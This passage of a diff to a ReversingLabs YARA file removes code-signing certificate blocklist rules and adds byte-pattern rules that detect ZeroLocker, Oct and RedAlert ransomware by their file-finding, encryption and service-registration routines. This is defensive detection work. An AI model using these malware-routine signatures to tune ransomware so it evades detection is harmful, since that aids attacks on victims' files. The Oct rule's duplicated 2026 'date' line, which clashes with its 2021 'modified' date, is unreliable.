85 C0 49 89 C4 0F 84 ?? ?? ?? ?? 4C 89 E1 E8 ?? ?? ?? ?? 48 85 + C0 0F 84 ?? ?? ?? ?? 48 8D 68 ?? 4C 89 FA 48 89 E9 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D + 15 ?? ?? ?? ?? 48 89 E9 E8 ?? ?? ?? ?? 85 C0 74 ?? 44 89 F0 48 83 C9 ?? 48 89 EF F2 + AE 4C 89 EF 48 89 CB 48 83 C9 ?? F2 AE 48 F7 D3 48 F7 D1 01 D9 48 63 D9 48 89 D9 E8 + ?? ?? ?? ?? 48 89 D9 4C 89 EA 48 89 C6 48 89 C7 44 89 F0 F3 AA 48 89 F1 E8 ?? ?? ?? + ?? 48 8D 15 ?? ?? ?? ?? 48 89 F1 E8 ?? ?? ?? ?? 48 89 EA 48 89 F1 E8 ?? ?? ?? ?? 48 + 89 F1 E8 ?? ?? ?? ?? 48 89 F1 85 C0 74 ?? E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 48 89 + F1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 E1 48 83 C4 ?? 5B 5E 5F 5D 41 5C 41 5D 41 5E + 41 5F E9 ?? ?? ?? ?? 48 83 C4 ?? 5B 5E 5F 5D 41 5C 41 5D 41 5E 41 5F C3 + } + $encrypt_files = { + 41 55 41 54 55 57 56 53 48 83 EC ?? 48 8D 15 ?? ?? ?? ?? 31 F6 4C 8D 2D ?? ?? ?? ?? + 48 89 CD E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C3 E8 ?? ?? ?? ?? 48 89 C7 49 89 D9 41 + B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 F9 E8 ?? ?? ?? ?? 85 C0 49 89 C4 74 ?? 81 FE ?? + ?? ?? ?? 7F ?? 45 89 E0 48 89 FA 4C 89 E9 E8 ?? ?? ?? ?? 45 31 C0 89 F2 48 89 D9 E8 + ?? ?? ?? ?? 44 01 E6 4D 63 C4 48 89 F9 49 89 D9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 31 + C0 89 F2 48 89 D9 E8 ?? ?? ?? ?? EB ?? 48 89 F9 48 89 EF E8 ?? ?? ?? ?? 48 89 D9 E8 + ?? ?? ?? ?? 31 C0 48 83 C9 ?? F2 AE 48 89 CE 48 F7 D6 48 89 F1 48 83 C1 ?? E8 ?? ?? + ?? ?? 48 89 EA 48 89 C1 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? + 48 89 E9 48 89 C2 48 83 C4 ?? 5B 5E 5F 5D 41 5C 41 5D E9 + } + $register_service_p1 = { + 57 56 53 48 81 EC ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 31 C0 41 B9 ?? ?? ?? ?? 48 8D 94 + 24 ?? ?? ?? ?? 48 89 CB B9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 D7 F3 AB 48 8D + 44 24 ?? 48 89 54 24 ?? 48 C7 C1 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 15 ?? ?? ?? ?? 48 + C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 80 BC 24 ?? ?? ?? ?? ?? 48 8B 35 ?? ?? ?? + ?? 0F 85 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 31 C9 41 B8 ?? ?? ?? ?? 48 89 DA FF 15 + ?? ?? ?? ?? 48 8D 44 24 ?? 45 31 C0 41 B9 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 15 ?? ?? + ?? ?? 48 C7 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8D 05 ?? ?? ?? ?? 48 8B + 4C 24 ?? 41 B9 ?? ?? ?? ?? 45 31 C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 + 89 44 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? + 45 31 C0 48 89 D9 FF 15 ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? 31 C9 FF D6 48 85 C0 79 ?? + B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 31 C9 BA ?? ?? + ?? ?? 48 C1 E0 ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? + ?? 48 8D 35 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? + 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 48 8D + } + $register_service_p2 = { + 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 + 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 41 B9 ?? ?? ?? ?? 48 89 F2 48 89 1D ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 5C 24 ?? + 48 8B 35 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? + ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF D6 B9 ?? ?? ?? ?? 48 89 C3 FF 15 ?? + ?? ?? ?? BA ?? ?? ?? ?? 48 89 D9 49 89 C0 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D + 54 24 ?? 48 89 C1 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 41 B9 ?? ?? + ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 89 5C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? + ?? ?? ?? ?? 48 89 44 24 ?? 8B 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? 99 F7 F9 2D ?? ?? ?? ?? 89 44 24 ?? 8B 44 24 ?? 99 F7 F9 31 C9 48 8D 15 ?? ?? ?? + ?? 2D ?? ?? ?? ?? 89 44 24 ?? FF D6 BA ?? ?? ?? ?? 48 89 D9 FF 15 ?? ?? ?? ?? 48 89 + D9 FF 15 ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 8D 5C 24 ?? 45 31 C9 45 31 C0 31 D2 48 + 89 D9 FF D6 85 C0 74 ?? 48 89 D9 FF 15 ?? ?? ?? ?? 48 89 D9 FF 15 ?? ?? ?? ?? EB ?? + 8B 84 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5E 5F C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\xB8\\xB8\\xE5\\xB7\\x9E\\xE9\\xAA\\x8F\\xE6\\x99\\xAF\\xE9\\x80\\x9A\\xE8\\x81\\x94\\xE6\\x95\\xB0\\xE5\\xAD\\x97\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "3a:6c:ca:bb:1c:62:f3:be:3e:b0:38:69:fa:43:dc:4a" and 1259798399 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $register_service_p* ) ) and ( $find_files ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_864196F01971Dbec7002B48642A7013A : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Zerolocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects ZeroLocker ransomware." author = "ReversingLabs" - id = "80478430-ce01-5fae-bcaf-2b7a445bc20d" - date = "2020-08-05" - modified = "2023-11-08" + id = "291b5640-387c-54d9-97a6-13823932fa60" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2412-L2430" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.ZeroLocker.yara#L1-L70" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a3173bb08e673caaa64ab22854840a135e891044b165bbc67733c951ec6aa991" + logic_hash = "147e4b390bcfaff8f05059c1d9a98b50f544fc32e820406417894fe5046e0f71" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "ZeroLocker" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_routine_1 = { + 00 28 5B 00 00 0A 20 ?? 07 00 00 28 60 00 00 06 13 09 20 ?? 07 00 00 28 60 00 00 06 13 + 0B 02 03 20 ?? 07 00 00 28 60 00 00 06 20 ?? 07 00 00 28 60 00 00 06 73 ?? 00 00 0A 7D + 1B 00 00 04 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 04 20 ?? 07 00 00 28 60 00 00 06 20 + ?? 07 00 00 28 60 00 00 06 73 ?? 00 00 0A 7D 1C 00 00 04 20 ?? 07 00 00 28 60 00 00 06 + 13 0B 02 7B 1C 00 00 04 20 ?? 07 00 00 28 60 00 00 06 6A 6F ?? 00 00 0A 00 20 ?? 07 00 + 00 28 60 00 00 06 13 0B 20 ?? 07 00 00 28 60 00 00 06 8D 1E 00 00 01 0A 20 ?? 07 00 00 + 28 60 00 00 06 13 0B 20 ?? 07 00 00 28 60 00 00 06 6A 13 04 20 ?? 07 00 00 28 60 00 00 + 06 13 0B 02 7B 1B 00 00 04 6F ?? 00 00 0A [0-2] 13 05 20 ?? 07 00 00 28 60 00 00 06 13 + 0B 73 ?? 00 00 0A 0C 20 ?? 07 00 00 28 60 00 00 06 13 0B 00 0E 05 20 ?? 07 00 00 28 60 + 00 00 06 59 13 0C 11 0C 45 02 00 00 00 02 00 00 00 ?? 00 00 00 2B ?? 00 20 ?? 07 00 00 + 28 60 00 00 06 13 0B 02 7B 1C 00 00 04 08 05 0E 04 6F ?? 00 00 0A [0-2] 20 ?? 07 00 00 + 28 60 00 00 06 73 ?? 00 00 0A 0B 2B ?? 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 7B 1C + 00 00 04 08 05 0E 04 6F ?? 00 00 0A [0-2] 20 ?? 07 00 00 28 60 00 00 06 73 ?? 00 00 0A + 0B 00 2B 62 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 7B 1B 00 00 04 06 20 ?? 07 00 00 28 + 60 00 00 06 20 ?? 07 00 00 28 60 00 00 06 6F ?? 00 00 0A [0-2] 0D 20 ?? 07 00 00 28 60 + } + $encrypt_routine_2 = { + 00 00 06 13 0B 07 06 20 ?? 07 00 00 28 60 00 00 06 09 6F ?? 00 00 0A 00 20 ?? 07 00 00 + 28 60 00 00 06 13 0B 11 04 09 6A D6 13 04 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 11 04 + 11 05 FE 04 13 0D 11 0D 2D 86 ?? 45 01 00 00 00 F6 FF FF FF 17 2D 06 D0 4F 00 00 06 26 + 20 ?? 07 00 00 28 60 00 00 06 13 0B 07 6F ?? 00 00 0A 00 20 ?? 07 00 00 28 60 00 00 06 + 13 0B 02 7B 1B 00 00 04 6F ?? 00 00 0A 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 7B 1C + 00 00 04 6F ?? 00 00 0A 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 0E 05 20 ?? 07 00 00 28 + 60 00 00 06 FE 01 13 0D 11 0D 2C 32 ?? 45 01 00 00 00 F6 FF FF FF 20 ?? 07 00 00 28 60 + 00 00 06 13 0B 03 73 ?? 00 00 0A 13 06 20 ?? 07 00 00 28 60 00 00 06 13 0B 11 06 6F ?? + 00 00 0A 00 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 0E 05 20 ?? 07 00 00 28 60 00 00 06 + FE 01 13 0D 11 0D 2C ?? [0-20] 20 ?? 07 00 00 28 60 00 00 06 13 0B 03 73 ?? 00 00 0A 13 + 07 20 ?? 07 00 00 28 60 00 00 06 13 0B 11 07 6F ?? 00 00 0A 00 00 20 ?? ?? 00 00 28 60 + 00 00 06 13 0B 02 7B 1B 00 00 04 6F ?? 00 00 0A 00 20 ?? ?? 00 00 28 60 00 00 06 13 0B + 02 7B 1C 00 00 04 6F ?? 00 00 0A 00 DD 3B 01 00 00 11 0A 2B 0D 11 0A 20 ?? ?? 00 00 28 + } + $encrypt_routine_3 = { + 60 00 00 06 58 20 ?? 08 00 00 28 60 00 00 06 13 0A 45 26 00 00 00 00 00 00 00 ?? FC FF + FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? ?? FF FF + ?? FD FF FF ?? FD FF FF ?? FD FF FF 00 00 00 00 ?? FD FF FF ?? FD FF FF ?? FD FF FF ?? + FD FF FF ?? FD FF FF ?? FD FF FF ?? ?? FF FF ?? FD FF FF ?? FD FF FF ?? FD FF FF ?? ?? + FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF + FF ?? FE FF FF E8 FE FF FF FC FE FF FF 10 FF FF FF 11 FF FF FF 29 FF FF FF 41 FF FF FF + DE 6D 11 0B 13 0A 11 09 20 ?? 08 00 00 28 60 00 00 06 30 16 ?? 45 01 00 00 00 F6 FF FF + FF 20 ?? 08 00 00 28 60 00 00 06 2B 02 11 09 45 02 00 00 00 00 00 00 00 11 FF FF FF DE + 34 75 4B 00 00 01 14 FE 03 11 09 20 ?? 08 00 00 28 60 00 00 06 FE 03 5F 11 0A 20 ?? 08 + 00 00 28 60 00 00 06 FE 01 5F FE 11 74 4B 00 00 01 28 57 00 00 0A DE 93 20 ?? 08 00 00 + 28 60 00 00 06 28 ?? 00 00 0A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "WLE DESENVOLVIMENTO DE SOFTWARE E ASSESSORIA LTDA EPP" and ( pe.signatures [ i ] . serial == "00:86:41:96:f0:19:71:db:ec:70:02:b4:86:42:a7:01:3a" or pe.signatures [ i ] . serial == "86:41:96:f0:19:71:db:ec:70:02:b4:86:42:a7:01:3a" ) and 1384300799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $encrypt_routine_1 and $encrypt_routine_2 and $encrypt_routine_3 ) } - -rule REVERSINGLABS_Cert_Blocklist_4Fda1E121B61Adeca936A6Aebe079303 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Oct : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Oct ransomware." author = "ReversingLabs" - id = "fba98d6b-dc09-5294-ad86-2f4e0d8ad320" - date = "2020-08-05" - modified = "2023-11-08" + id = "e811a0ba-52df-5e88-ab71-df91d5cb584a" + date = "2026-10-01" + date = "2026-10-01" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2432-L2448" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Oct.yara#L1-L68" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "70a04c83e79c98024bacf1688bb46d80c9b8491e25dd32d6d92bf3cf61c62e48" + logic_hash = "3973794d6bf26eaa752cfc70a217c059a190c63a0dd92b06de7c0893d92d9e88" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files = { + 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 03 0B 07 18 73 ?? ?? ?? ?? 0C 73 + ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 04 06 + 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F + ?? ?? ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 19 6F ?? + ?? ?? ?? 09 17 6F ?? ?? ?? ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 02 19 73 ?? + ?? ?? ?? 13 ?? 2B ?? 11 ?? 11 ?? D2 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 25 13 ?? 15 33 + ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 02 28 ?? ?? ?? ?? DE ?? + 13 ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 2A + } + $find_files = { + 16 0A 38 ?? ?? ?? ?? 16 0B 2B ?? 02 06 9A 28 ?? ?? ?? ?? 2C ?? 02 06 9A 73 ?? ?? ?? ?? + 0C 08 72 ?? ?? ?? ?? 03 07 9A 28 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 0D 09 13 ?? 16 13 ?? 2B + ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 05 28 ?? ?? ?? ?? 1E + 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? + 11 ?? 8E 69 32 ?? 07 17 58 0B 07 03 8E 69 32 ?? 06 17 58 0A 06 02 8E 69 3F ?? ?? ?? ?? + 2A + } + $collect_env_and_start_enc_proc = { + 19 8D ?? ?? ?? ?? 0B 07 16 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 07 17 1B + 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 07 18 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? + ?? 28 ?? ?? ?? ?? A2 07 1F ?? 8D ?? ?? ?? ?? 0C 08 16 72 ?? ?? ?? ?? A2 08 17 72 ?? ?? + ?? ?? A2 08 18 72 ?? ?? ?? ?? A2 08 19 72 ?? ?? ?? ?? A2 08 1A 72 ?? ?? ?? ?? A2 08 1B + 72 ?? ?? ?? ?? A2 08 1C 72 ?? ?? ?? ?? A2 08 1D 72 ?? ?? ?? ?? A2 08 1E 72 ?? ?? ?? ?? + A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 + 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? + 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? + ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? + ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 72 ?? ?? ?? ?? 72 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A + 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 72 ?? ?? ?? ?? 16 + 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 72 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Laizhou wanlei stone Co., LTD" and pe.signatures [ i ] . serial == "4f:da:1e:12:1b:61:ad:ec:a9:36:a6:ae:be:07:93:03" and 1310687999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $collect_env_and_start_enc_proc ) and ( $find_files ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_03866Deb183Abfbf4Ff458D4De7Bd73A : INFO FILE +rule REVERSINGLABS_Linux_Ransomware_Redalert : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects RedAlert ransomware." author = "ReversingLabs" - id = "2641eb86-94f0-537c-a82a-6a5e1596ee84" - date = "2020-08-05" - modified = "2023-11-08" + id = "ec7567bf-2c39-529f-ae93-74270a161827" + date = "2022-09-01" + modified = "2022-09-01" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2450-L2466" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Linux.Ransomware.RedAlert.yara#L1-L146" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "90d09d0d2d01500e0670277d0e8de574feecf7443cf4d077912b1166a9c14c43" + logic_hash = "fe0d10c2ef1dacdb5374f319e470274b91f4f171db49de8c89e8aaa9aa75a45c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "RedAlert" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 41 57 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 89 74 24 ?? BE ?? ?? ?? ?? 48 + 89 54 24 ?? 48 89 4C 24 ?? 4C 89 44 24 ?? E8 ?? ?? ?? ?? 48 85 C0 48 89 C5 75 ?? BF + ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 89 C7 E8 ?? ?? ?? ?? 83 F8 ?? 89 C3 75 ?? BF ?? + ?? ?? ?? E8 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? 48 8D 54 24 ?? + 89 C6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C0 75 ?? BF ?? ?? ?? ?? EB ?? 4C 8B B4 24 ?? + ?? ?? ?? 4D 85 F6 7F ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? EB ?? 49 + 81 FE ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F 97 44 24 ?? 49 81 FE ?? ?? ?? ?? 0F 97 + 44 24 ?? 80 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ?? 4C 89 F0 C7 44 24 ?? ?? ?? ?? ?? 48 89 + D3 31 D2 48 F7 F3 48 6B C8 ?? 48 89 4C 24 ?? 49 81 FE ?? ?? ?? ?? 77 ?? 4D 89 F4 41 + BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 41 BC ?? ?? ?? ?? 45 31 ED C7 44 24 ?? + ?? ?? ?? ?? 4D 63 FD C7 44 24 ?? ?? ?? ?? ?? 4C 0F AF 7C 24 ?? E9 ?? ?? ?? ?? 80 7C + 24 ?? ?? 74 ?? 45 85 ED 74 ?? 80 7C 24 ?? ?? 74 ?? 41 8D 45 ?? 3B 44 24 ?? 4C 89 FE + 75 ?? 49 8D B6 ?? ?? ?? ?? EB ?? 31 F6 31 D2 48 89 EF E8 ?? ?? ?? ?? 48 63 7C 24 ?? + 48 89 E9 4C 89 E2 48 03 7C 24 ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 39 E0 74 ?? BF ?? + ?? ?? ?? EB ?? 44 01 64 24 ?? 41 FF C5 44 3B 6C 24 ?? 0F 85 ?? ?? ?? ?? 48 8D 9C 24 + ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 84 C0 74 ?? BF ?? + ?? ?? ?? EB ?? 48 8D BC 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 85 C0 + 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 63 6C 24 ?? 45 89 E7 44 89 64 24 ?? 4C 0F AF + 6C 24 ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 8B 4C 24 ?? 41 B8 + ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 84 + } + $encrypt_files_p2 = { + C0 75 ?? 48 8B 54 24 ?? 48 8B 7C 24 ?? 48 89 E9 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 + 15 ?? ?? ?? ?? 48 39 D0 75 ?? 48 8B 44 24 ?? 48 89 E9 BE ?? ?? ?? ?? 0F B7 50 ?? 48 + 8B 38 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 0F B7 51 ?? 48 39 D0 74 ?? BF ?? ?? ?? ?? E9 ?? + ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 4C 03 7C 24 ?? 44 3B 6C 24 ?? 0F 8C ?? ?? ?? ?? E9 + ?? ?? ?? ?? BF ?? ?? ?? ?? EB ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 80 7C + 24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? 80 7C 24 ?? ?? 74 ?? 8B 44 24 ?? 4C 89 EE FF C0 + 3B 44 24 ?? 75 ?? 49 8D B6 ?? ?? ?? ?? EB ?? 31 F6 31 D2 48 89 EF E8 ?? ?? ?? ?? 48 + 63 44 24 ?? 48 8B 5C 24 ?? 48 8D B4 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 31 C9 31 + D2 45 89 E1 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 01 C3 48 8D 84 24 ?? + ?? ?? ?? 49 89 D8 48 89 1C 24 48 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + 48 89 E9 4C 89 E2 BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 39 E0 0F 85 ?? ?? ?? ?? + FF 44 24 ?? 8B 54 24 ?? 8B 4C 24 ?? 01 54 24 ?? 39 4C 24 ?? 75 ?? 31 F6 BA ?? ?? ?? + ?? 48 89 EF E8 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 E9 BA ?? ?? ?? ?? BE ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8A 5C 24 ?? 48 83 F8 ?? B0 ?? 0F 44 D8 44 3B 7C 24 ?? 88 5C 24 + ?? 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 44 03 7C 24 ?? 4C 03 6C 24 ?? 8B 44 24 ?? 39 + 44 24 ?? 0F 8C ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 0F B6 44 24 ?? 48 81 C4 ?? ?? ?? + ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + } + $find_files_p1 = { + 41 57 FC 41 56 41 55 41 54 49 89 FC 55 53 48 83 EC ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 + 4C 24 ?? 48 83 C9 ?? 48 89 74 24 ?? 4C 89 44 24 ?? 4C 89 4C 24 ?? 88 54 24 ?? 48 89 + 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 44 8A BC 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 84 24 + ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 84 24 ?? 